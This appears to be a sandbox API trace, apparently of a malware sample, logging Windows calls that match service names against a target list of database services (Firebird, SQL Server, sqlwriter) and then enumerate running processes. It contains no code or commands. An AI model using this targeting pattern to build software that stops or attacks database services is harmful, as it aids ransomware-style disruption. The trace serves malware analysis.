	[0066.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0066.237] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0066.237] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0066.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0066.237] lstrlenW (lpString="FontCache") returned 9
	[0066.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0066.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0066.237] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0066.238] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0066.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0066.238] lstrlenW (lpString="gpsvc") returned 5
	[0066.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0066.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0066.238] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0066.238] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0066.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0066.238] lstrlenW (lpString="iphlpsvc") returned 8
	[0066.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0066.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0066.238] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0066.238] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0066.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0066.238] lstrlenW (lpString="KeyIso") returned 6
	[0066.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0066.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0066.238] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0066.238] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0066.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0066.238] lstrlenW (lpString="LanmanServer") returned 12
	[0066.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0066.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0066.238] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0066.238] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0066.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0066.238] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0066.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0066.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0066.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0066.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0066.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0066.239] lstrlenW (lpString="lfsvc") returned 5
	[0066.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0066.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0066.239] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0066.239] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0066.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0066.239] lstrlenW (lpString="lmhosts") returned 7
	[0066.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0066.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0066.239] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0066.239] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0066.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0066.239] lstrlenW (lpString="LSM") returned 3
	[0066.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0066.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0066.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0066.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0066.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0066.239] lstrlenW (lpString="MapsBroker") returned 10
	[0066.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0066.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0066.239] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0066.240] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0066.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0066.240] lstrlenW (lpString="MpsSvc") returned 6
	[0066.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0066.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0066.240] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0066.240] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0066.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0066.240] lstrlenW (lpString="NcbService") returned 10
	[0066.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0066.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0066.240] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0066.240] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0066.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0066.240] lstrlenW (lpString="netprofm") returned 8
	[0066.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0066.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0066.240] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0066.240] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0066.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0066.240] lstrlenW (lpString="NgcSvc") returned 6
	[0066.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0066.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0066.240] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0066.240] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0066.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0066.241] lstrlenW (lpString="NlaSvc") returned 6
	[0066.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0066.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0066.241] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0066.241] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0066.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0066.241] lstrlenW (lpString="nsi") returned 3
	[0066.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0066.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0066.241] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0066.241] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0066.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0066.241] lstrlenW (lpString="PcaSvc") returned 6
	[0066.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0066.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0066.241] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0066.241] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0066.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0066.241] lstrlenW (lpString="PlugPlay") returned 8
	[0066.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0066.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0066.241] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0066.241] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0066.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0066.241] lstrlenW (lpString="Power") returned 5
	[0066.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0066.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0066.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0066.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0066.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0066.242] lstrlenW (lpString="ProfSvc") returned 7
	[0066.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0066.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0066.242] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0066.242] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0066.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0066.242] lstrlenW (lpString="RpcEptMapper") returned 12
	[0066.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0066.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0066.242] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0066.242] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0066.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0066.242] lstrlenW (lpString="RpcSs") returned 5
	[0066.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0066.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0066.242] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0066.242] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0066.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0066.242] lstrlenW (lpString="SamSs") returned 5
	[0066.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0066.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0066.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0066.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0066.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0066.243] lstrlenW (lpString="Schedule") returned 8
	[0066.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0066.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0066.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0066.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0066.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0066.243] lstrlenW (lpString="SecurityHealthService") returned 21
	[0066.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0066.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0066.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0066.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0066.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0066.243] lstrlenW (lpString="SENS") returned 4
	[0066.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0066.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0066.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0066.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0066.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0066.243] lstrlenW (lpString="ShellHWDetection") returned 16
	[0066.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0066.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0066.243] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0066.243] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0066.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0066.243] lstrlenW (lpString="Spooler") returned 7
	[0066.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0066.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0066.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0066.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0066.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0066.244] lstrlenW (lpString="StateRepository") returned 15
	[0066.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0066.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0066.244] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0066.244] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0066.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0066.244] lstrlenW (lpString="SysMain") returned 7
	[0066.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0066.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0066.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0066.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0066.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4313a10 | out: hHeap=0x4f0000) returned 1
	[0066.244] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370
	[0066.906] Process32FirstW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0066.906] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0066.907] lstrlenW (lpString="System") returned 6
	[0066.907] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0066.908] lstrlenW (lpString="smss.exe") returned 8
	[0066.908] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0066.909] lstrlenW (lpString="csrss.exe") returned 9
	[0066.909] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0066.909] lstrlenW (lpString="wininit.exe") returned 11
	[0066.909] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0066.910] lstrlenW (lpString="csrss.exe") returned 9
	[0066.910] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0066.910] lstrlenW (lpString="winlogon.exe") returned 12
	[0066.911] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0066.911] lstrlenW (lpString="services.exe") returned 12
	[0066.911] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0066.912] lstrlenW (lpString="lsass.exe") returned 9
	[0066.912] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.913] lstrlenW (lpString="svchost.exe") returned 11
	[0066.913] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0066.913] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0066.913] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0066.914] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0066.914] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.914] lstrlenW (lpString="svchost.exe") returned 11
	[0066.914] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0066.915] lstrlenW (lpString="dwm.exe") returned 7
	[0066.915] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.916] lstrlenW (lpString="svchost.exe") returned 11
	[0066.916] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.916] lstrlenW (lpString="svchost.exe") returned 11
	[0066.916] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.918] lstrlenW (lpString="svchost.exe") returned 11
	[0066.918] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.918] lstrlenW (lpString="svchost.exe") returned 11
	[0066.918] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.919] lstrlenW (lpString="svchost.exe") returned 11
	[0066.919] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.920] lstrlenW (lpString="svchost.exe") returned 11
	[0066.920] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.921] lstrlenW (lpString="svchost.exe") returned 11
	[0066.921] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.921] lstrlenW (lpString="svchost.exe") returned 11
	[0066.921] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.922] lstrlenW (lpString="svchost.exe") returned 11
	[0066.922] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0066.923] lstrlenW (lpString="spoolsv.exe") returned 11
	[0066.923] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.923] lstrlenW (lpString="svchost.exe") returned 11
	[0066.923] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.924] lstrlenW (lpString="svchost.exe") returned 11
	[0066.924] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0066.925] lstrlenW (lpString="audiodg.exe") returned 11
	[0066.925] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0066.925] lstrlenW (lpString="sihost.exe") returned 10
	[0066.925] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.926] lstrlenW (lpString="svchost.exe") returned 11
	[0066.926] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0066.927] lstrlenW (lpString="taskhostw.exe") returned 13
	[0066.927] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0066.927] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
